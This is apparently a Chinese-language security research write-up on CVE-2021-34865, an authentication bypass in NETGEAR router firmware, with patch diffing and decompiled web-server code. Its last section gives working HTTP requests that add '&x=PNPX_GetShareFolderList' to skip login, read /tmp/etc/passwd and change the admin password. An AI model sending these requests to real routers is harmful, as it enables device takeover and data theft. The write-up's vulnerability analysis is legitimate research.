NETGEAR某设备分析
0x00 漏洞信息
编号:CVE-2021-34865
记录创建日期:20210617
漏洞类型:身份验证绕过安全漏洞
有些型号官网搜不到,可以尝试
NETGEAR 强烈建议您尽快下载最新固件。固件修复目前适用于所有受影响的产品:
补丁比对
将R6900v2的1.2.0.88 和1.2.0.76 下载下来,使用diaphora插件进行比对,关注path_exist()前面新增的代码块。
R6900v2
分析一下新增的strdecode()函数。
要注意sub_7D68()其实就是atoi()函数 ,将字符转换为数字。
'A'‘a’转换为0xa,'6'转换为6。
所以strdecode就是循环遍历字符串,碰到%,将后面连续两个字符转换为16进制的数字。
这么看来,该漏洞很可能可以利用url的编码实现某些操作。
黑盒测试
尝试通过静态包去访问页面或者cgi。
GET /dtree.css/../../setup.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.1/
尝试传入参数。
GET /dtree.css/../setup.cgi?todo=backup_config HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.1/BAK_backup.htm&todo=cfg_init
Upgrade-Insecure-Requests: 1
失败了。
0x01 mini_httpd分析
老老实实开始逆向分析。
对于缺乏逆向功底的我,是一个漫长痛苦的过程,可能有帮助的小技巧:
1.网上寻找源码
2.寻找框架开源代码
3.该设备或同类型设备的分析文章,尤其是CVE分析文章
4.结合设备尝试并抓包分析
5.先分析早期固件版本
使用后端是mini_httpd,一种小型嵌入式后端服务器框架,常见的还有lighthttpd、httpd等,或者通过一些脚本例如lua来充当后端。
handle_request流程分析
抓包发现认证字段:
Authorization: Basic YWRtaW46cXdlMTIzLi8=
一看就是base64加密。
admin:qwe123./
在shift+F12搜索password、auth关键字,锁定auth_check()函数
if ( strncmp(::authorization, "Basic ", 6u) )
{
......
send_Unauthorized()
}
userpasswd[b64_decode((authorization + 6), userpasswd, 499)] = 0;
mypassword = strchr(userpasswd, ':');
if ( !mypassword )
{
.....
send_Unauthorized()
}
*mypassword = 0;
mypassword_1 = mypassword + 1;
http_username = nvram_get("http_username");
......
if ( !strcmp(userpasswd, http_username) )
{
......
::password_hash(mypassword_1, password_hash, 128);
http_password = nvram_get("http_password");
......
if ( strcmp(password_hash, http_password) )
{
......
找到这个之后,重点分析调用它的handle_request()函数,整理分析认证流程。
setsockopt()设置TCP套接字选项。
if ( !do_ssl )
{
r = 1;
setsockopt(conn_fd, 6, 3, &r, 4u); // 设置TCP套接字选项
}
if ( do_ssl )
{
ssl = SSL_new(ssl_ctx);
SSL_set_fd(ssl, conn_fd);
v0 = SSL_accept(ssl);
v1 = 1;
if ( !v0 )
LABEL_108:
exit(v1); // 报错退出
}
开始处理request请求,初始化了两个字段,用来表示request的大小和索引。
request_size = 0;
request_idx = 0;
先处理第一行的request,检测是否合法,如果有ptimeout.cgi包含在内的话,检测someone_in_use字段,判断是否有人登录,如果没有人且超时的话就停止进程。防止第二个用户登录超时,影响前面正常登录的用户。
method_str = get_request_line();
if (method_str == (char *)0)
send_error(400, "Bad Request", "", "Can't parse request.");
path = strpbrk(method_str, " \t\012\015");
if (path == (char *)0)
send_error(400, "Bad Request", "", "Can't parse request.");
*path++ = '\0';
if (strstr(path, "ptimeout.cgi") != NULL)
{
if (someone_in_use == 0)
{
STILLTO
}
path += strspn(path, " \t\012\015");
protocol = strpbrk(path, " \t\012\015");
if (protocol == (char *)0)
send_error(400, "Bad Request", "", "Can't parse request.");
*protocol++ = '\0';
send_error(401, "Unauthorized", "", "Authorization required.");
}
使用一个while大循环处理request的剩余部分,并进行初始化。
while ( 1 ) // 解析请求头的剩余部分
{
line = get_request_line();
if ( !line || !*line )
break;
if ( !strncasecmp(line, "Authorization:", 0xEu) )// 如果检测到Authorization字段
{
authorization = &line[strspn(line + 14, &str_tab) + 14];
}
else if ( !strncasecmp(line, "Content-Length:", 0xFu) )
{
content_length = atol(&cp[v20]);
}
else if ( !strncasecmp(line, "Content-Type:", 0xDu) )
{
content_type = &line[strspn(line + 13, &str_tab) + 13];
}
else if ( !strncasecmp(head_soapaction, "SOAPAction:", 11u) )// SOAPAction字段
{
......
}
config_state环境变量来控制设备的状态,表示是否完成了初始化。
if(host && (*nvram_safe_get("config_state") == 'b' ||*nvram_safe_get("config_state") == 'c')&& is_captive_detecting(host, useragent))
{
// netgear请求,如果路由器刚刚完成恢复出厂设置,iPhone应该显示WiFi连接图标,无需重定向到浏览器。
if ( is_captive_detecting(host, useragent) )
{
for_captive=1;
protocol = strpbrk(path, " \t\012\015");
send_error(200, "OK", "", "Success");
}
}
}
对usb_session的接入处理
if (*nvram_get("http_server_wan_enable") == '1' && *nvram_get("fw_remote") == '0')
{
/*When router is AP Mode, NV lan_ipaddr is not br0's IP, so we cannot access DUT by it's br0's IP, but we should think br0 IP is dut. This issue occur when USB's https enable */
if (*nvram_safe_get(WIFI_AP_MODE) == '1')
{
is_dut = is_dut || (strcmp(host, getIPAddress(LAN_LOG_IFNAME)) == 0);
}
else if (!is_usb_session && !is_dut && *nvram_get("config_state") == 's')
{
SC_CFPRINTF("should not do the exit since hijack like traffic meter will not working\n");
//exit(1);
}
}
检查lan口和远程访问的正确性,不是443报错403。
if ( !check_valid_request() ) // 是否为正确请求,本地或者远程正确端口
{
v15 = 403;
if ( port != 443 )
{
v16 = "Forbidden";
v17 = "";
v18 = "URL is illegal.";
goto SEND_ERROR;
}
}
通过setupwizard.cgi完成初始化,检查是否是lan口访问,如果不是的话,就drop掉请求。也就是说初始化设置智能通过lan口来进行。
if ( strstr(path, "setupwizard.cgi") ) // 如果path包含setupwizard.cgi
for_setupwizard = 1;
if ( for_setupwizard == 1 && !check_lan_guest() )
{
system("/bin/echo genie from wan, drop request now > /dev/console");// 来自wan,现在drop请求
v1 = 0;
goto LABEL_108; // exit()
}
if ( for_setupwizard == 1 )
{
system("/bin/echo it is for setupwizard! >> /tmp/sw.log");
strcpy(fakepath, "/setupwizard.cgi HTTP/1.1\r\n");
path = fakepath; // path设置为setupwizard.cgi
if ( have_cookie == 1 )
{
soap_token = 0;
dword_2EB84 = 0;
dword_2EB88 = 0;
dword_2EB8C = 0;
byte_2EB90 = 0;
p1 = strchr(cookie, '=');
if ( p1 )
strlcpy(&soap_token, p1 + 1, 17);
}
}
修复Win10 IE11在进行出厂设置之后的向导问题,Win 10将打开一个新的Edge/Spartan窗口/选项卡,原始页面也进行向导。这是由Windows 10使用HTTP获取“NCSI.txt” 并被路由器劫持导致的。现在不劫持它,只有响应404。
if ( access("/tmp/brs_hijack.out", 0) )
goto LABEL_238;
v65 = getIPAddress("group1");
v66 = host;
if ( !strcmp(host, "www.msftncsi.com") && strstr(path, "ncsi.txt")
|| !strcmp(v66, "www.msftconnecttest.com") && strstr(path, "connecttest.txt") )
{
v15 = 404;
::protocol = "HTTP/1.0";
v16 = "Not Found";
v17 = "";
SEND_NOT_FOUND:
v18 = "File not found.";
goto SEND_ERROR;
}
如果config_state是blank状态的话,或者need_not_login为1的话,将need_not_login置为0,start_in_blankstate字段置为1,除非超时或者登出,不会再重置这个值。也就是说恢复设置后重新启动,会在need_not_auth状态,但在超时后,需要登录。
config_state = nvram_get("config_state");
if ( !config_state )
config_state = "";
if ( *config_state == 'b' ) // blank state
goto LABEL_244;
need_not_login = nvram_get("need_not_login");
if ( !need_not_login )
need_not_login = "";
if ( *need_not_login == '1' ) // 恢复设置后重新启动,会在need_not_auth状态,但在超时后,需要登录
{
LABEL_244:
nvram_set("need_not_login", "0");
nvram_set("start_in_blankstate", "1"); // 不重置这个值直到超时或者登出
}
通过四种方法都可以 置need_auth为0。
1.path_exist判断不需要认证,且路径不包含VLAN_update_setting.htm。
2.POST请求且路径包含htpwd_recovery.cgi
3.路径的前39个字符为“/setup.cgi?todo=PNPX_GetShareFolderList”,请求为GET且路径不包含'htm'
4.config_state为c,路径包含"sso"。
if ( path_exist(path, no_auth_html, method_str_1) && !strstr(path, "VLAN_update_setting.htm") )
goto LABEL_256;
v97 = path;
if ( !strncmp(path, "/htpwd_recovery.cgi?", '\x14') )
{
v98 = ::method_str(3); // POST请求
if ( !strcasecmp(method, v98) )
goto LABEL_256;
}
if ( !strncmp(v97, "/setup.cgi?todo=PNPX_GetShareFolderList", 39u) )
{
v99 = ::method_str(1); // GET请求
if ( !strcasecmp(method, v99) && !strstr(v97, "htm") )
goto LABEL_256;
}
v100 = nvram_get("config_state");
if ( !v100 )
v100 = "";
if ( *v100 == 'c' && strstr(path, "sso") )
{
LABEL_256:
someone_in_use = 0;
need_auth = 0;
if ( strstr(path, "currentsetting.htm") )
for_setupwizard = 1;
}
no_auth_html保存了一些不需要验证的html页面。
只要在path里找到了不需要认证的页面,就将no_need_check_password_page置为1。
v101 = no_auth_html;
no_need_check_password_page = 0; // 不需要password_page标志
while ( *v101 )
{
if ( strstr(path, *v101) )
no_need_check_password_page = 1;
++v101;
}
如果路径不包含.cgi直接请求.htm的话,自动在中间插入"/setup.cgi?next_file="
v148 = path;
if ( !strstr(path, ".cgi") && strstr(v148, ".htm") && !strstr(v148, "shares") )// 没有.cgi请求.htm
{
v149 = strlen(v148);
if ( v149 >= 482 )
{
v15 = 404;
v16 = "Not Found";
v17 = "";
LABEL_439:
v18 = "No such file.";
goto SEND_ERROR;
}
strlcpy(fakepath, v148, v149 - 8);
v150 = strrchr(fakepath, '/');
strlcpy(firstdir, fakepath, v150 - fakepath);
v151 = path;
if ( *path == '/' )
path = v151 + strlen(firstdir) + 1;
snprintf(fakepath, 0x200u, "%s/setup.cgi?next_file=%s", firstdir, path);// 自动插入/setup.cgi?next_file=
path = fakepath;
}
补丁修复,CVE-2019-17137,后面加%00currentsetting.htm可以直接绕过验证。
if ( strstr(path, "%00") || (strdecode(v161, v161), tem_path = path, *path != '/') )
{
v15 = 400;
v16 = "Bad Request";
v17 = "";
v18 = "Bad filename.";
goto SEND_ERROR;
}
还通过strdecode()对url编码进行解码。
对// ./ /../等进行处理
但需要注意的,这里是对临时变量进行处理,全局的path没有改变,而真正用的时候用的又是全局的path,过滤了个寂寞。
有一个疑似配置文件的操作。
最后执行do_file函数并释放ssl套接字。
path_exist流程分析
先进行url转码
v6 = LODWORD(method);
if ( strcasestr(path, "%2f", method) || strcasestr(path, "%2e", v5) || strstr(path, "%20") || strstr(path, "%26") )// url编码转为16进制
strdecode(path, path);
如果method不为GET,就 返回0。
v7 = 0;
if ( method_2 != 'G' ) // 不为GET,return 0
return v7;
如果是GET请求包,就进一步进行判断。
如果path的前11个字符包含/setup.cgi?的话,先判断是否有next_file。
如果有next_file参数,且path包含&符号,将next_file后面的&符号的其他参数置空,只取next_file。
然后判断next_file是否需要认证,如果不需要认证直接返回1。
如果path没有&符号,判断next_file是否需要认证,如果需要认证retur 0。
auth_check流程分析
在do_file函数的开始对传入的请求路径,如果need_auth字段为1的话调用auth_check进行检测。
在auth_check()的开头,先对for_setupwizard进行检测。
如果for_setupwizard字段为1,就可以跳过检查。
所以不论是控制了for_setupwizard还是need_auth都可以绕过验证。
0x02 setup.cgi分析
开始先判断GET包和POST包,POST包的话获取传入的post表参数。
query_string = 0;
if ( getenv("REQUEST_METHOD") )
{
request_method = getenv("REQUEST_METHOD");
if ( !strcmp(request_method, "POST") ) // 如果POST包进这里
{
v7 = *argv;
if ( strstr(*argv, "setup.cgi") || strstr(v7, "htpwd_recovery.cgi") )
query_string = cgi_input_parse();
}
}
调用ftext()函数对query_string进行检测,成功的话就检测"setup.cgi字段"并调用setup_main函数。
ftext()函数的功能主要是对POST包的id进行认证,抓包的时候发现所有的POST包后面都会跟一个id参数。
POST /setup.cgi?id=fbd52ac506cc84f4 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/PWD_password.htm&todo=cfg_init
Upgrade-Insecure-Requests: 1
sysOldPasswd=qwe1233.%2f&sysNewPasswd=1qaz%40WSX&sysConfirmPasswd=1qaz%40WSX&enable_recovery=on&question1=4&answer1=********&question2=1&answer2=********&todo=save_passwd&this_file=PWD_password.htm&next_file=PWD_password.htm&SID=&h_enable_recovery=enable&h_question1=4&h_question2=1
setup_mian函数会先检查禁止访问的值,发送403错误。
然后调用check_filename检查是否符合规则,针对next_file和this_file为不需要认证的页面做检查。
通过检查,不允许多个ip同时访问。
如果post_form和参数都为空,就发送默认的index.htm页面。
否则的话,调用CallActionByName去执行todo参数对应的操作。
一个大循环,在ActionTab这个列表中寻找todo对应的接口,并执行对应的操作,并且传递参数。
结束后通过html_parser去回传html页面。
接下来介绍几个重点的接口。
backup_config
int __fastcall backup_config(int a1)
{
const char *next_file; // $v0
system("/usr/sbin/conf");
next_file = (const char *)find_val(a1, "next_file");
location(next_file);
return 0;
}
抓包分析发现这个是备份生成config文件的,先执行conf生成配置文件,然后返回参数传递的location。
就是告诉浏览器这个配置文件在哪里。
print_page
打印传递参数指向的文件,并将内容发给浏览器。
0x03 漏洞分析
认证前分析
通过访问不需要认证的页面获取信息。
currentsetting.htm
debuginfo.htm
代码比对
前期流程很熟悉后,很容易找到这个1day。
先进行比对,在httpd里发现了三个地方。
1、
2、
新版本:
由strstr()改成了strncmp
旧版本:
这个很有问题。
3、
path_exist()
新版本将url编码转成了16进制。
认证绕过
重点看一下第二个点。
控制need_auth为0。
在路径后加一个**&x=PNPX_GetShareFolderList **就能实现绕过,而且是get和post包的绕过。
任意文件读取:
GET /setup.cgi?next_file=/tmp/etc/passwd&todo=print_page&x=PNPX_GetShareFolderList HTTP/1.1
Host: www.routerlogin.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://www.routerlogin.net/BAK_backup.htm&todo=cfg_init
Upgrade-Insecure-Requests: 1
Content-Length: 0
修改密码:
GET /PWD_password.htm&todo=cfg_init&x=PNPX_GetShareFolderList HTTP/1.1
Host: www.routerlogin.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://www.routerlogin.net/adv_index.htm
Upgrade-Insecure-Requests: 1
POST /setup.cgi?id=fbd52ac506cc84f4&x=PNPX_GetShareFolderList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/PWD_password.htm&todo=cfg_init
Upgrade-Insecure-Requests: 1
sysOldPasswd=qwe1233.%2f&sysNewPasswd=1qaz%40WSX&sysConfirmPasswd=1qaz%40WSX&enable_recovery=on&question1=4&answer1=********&question2=1&answer2=********&todo=save_passwd&this_file=PWD_password.htm&next_file=PWD_password.htm&SID=&h_enable_recovery=enable&h_question1=4&h_question2=1
这个在新的固件中修复了。